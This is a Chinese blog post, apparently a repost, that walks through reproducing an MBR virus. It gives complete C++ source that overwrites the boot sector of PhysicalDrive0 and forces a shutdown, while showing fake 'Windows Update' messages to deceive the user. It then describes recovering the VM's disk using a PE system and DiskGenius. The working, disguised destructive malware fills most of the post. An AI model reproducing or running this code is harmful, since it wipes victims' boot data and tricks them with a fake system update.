复现
环境
Attacker
OS: Windows 10 1909 X64
IDE: Dev-C++ 5.11
Filename: MBR.cpp
Out Filename: MBR.exe
Player
OS: Windows XP SP2
Filename: MBR.exe
步骤
0.0.1 编译及拷贝
将以下代码输入进Dev-C++:
#include<Windows.h>
#include<stdio.h>
#include<iostream>
using namespace std;
unsigned char sco[] =16进制
"\xb8\x12\x00\xcd\x10\xbd\x18\x7c\xb9\x18\x00\xb8\x01\x13\xbb\x0c"
"\x00\xBA\x1D\x0E\xCD\x10\xE2\xFE\x0D\x0A\x49\x27\x6D\x20\x61\x20\x76\x69\x72\x75\x73\x21\x42\x79\x65\x21";
DWORD MBR()
{
system("title Windows Update");
cout<<"Your computer has a bug.We are updating."<<endl;
cout<<"Windows Updating..."<<endl;
DWORD Ropen;
BYTE pMBR[512] = {
0 };
memcpy(pMBR, sco, sizeof(sco));
pMBR[510] = 0x55;
pMBR[511] = 0xaa;
HANDLE hDevice = CreateFile(
"\\\\.\\PhysicalDrive0",
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
0,
NULL);
if (hDevice == INVALID_HANDLE_VALUE)
{
MessageBoxA(NULL, "错误", "请以管理员身份运行,否则 Windows 无法安装此特殊补丁更新。", MB_OK);
return 0;
}
DeviceIoControl(hDevice, FSCTL_LOCK_VOLUME, NULL, 0, NULL, 0, &Ropen, NULL);
//写入磁盘文件
WriteFile(hDevice, pMBR, 512, &Ropen, NULL);
DeviceIoControl(hDevice, FSCTL_UNLOCK_VOLUME, NULL, 0, NULL, 0, &Ropen, NULL);
cout<<"Windows Updated.Restart..."<<endl;
system("shutdown -s -t 00");
}
int main(int argc, char* argv[])
{
MBR();
return 0;
}
编译后,生成了MBR.exe的文件。将其拷贝进VMware Workstation的Windows XP SP2中。
0.0.2 运行及效果
使用管理员权限运行此exe,窗口一闪而过,随机Windows XP SP2关机。
关机后,尝试开启虚拟机,显示如下:
解决方案
(在本开放实例中(https://github.com/tiantian520tt/Boom_MBR_Virus),可以很快清理。但在作者自行开发的内部版本中,此病毒已无法完全清理。)
关闭虚拟机,从网上下载适合的PE系统iso并下载,点击VMware的虚拟机选项,设置。
配置iso映像文件后,确认。
接着,选择虚拟机选项卡,选择启动方式,打开BIOS
进入BIOS后,选择Boot,接着使用+/-号使CD选项调到最上,按F10。(实体机中也很相似,但如果使用U盘作为PE启动盘,那么需要将USB选项调到最上)
进入PE系统。
(由于作者身边只有Windows Server 2003的PE所以用了这个)
打开DiskGenius(磁盘分区管理),发现磁盘内容已经全部挂了。这时搜索丢失分区发现了C盘,然后重建MBR引导。
关闭虚拟机,再次进入BIOS。修改Hard Driver到最顶,重启虚拟机。成功进入系统。
文件仍在:
解决方案圆满成功。
总结
MBR病毒算是国内发现比较早的病毒种类了,由于在计算机时代初期exe的各种兼容性,使得更多的人选择了对MBR引导区下手。
本人对本MBR病毒评价:
复现难度:★★☆☆☆
修复难度:★☆☆☆☆
破坏程度:☆☆☆☆☆
以上均为本人观点,不喜勿喷,欢迎补充。
转载:https://blog.csdn.net/tiantian520ttjs/article/details/116355563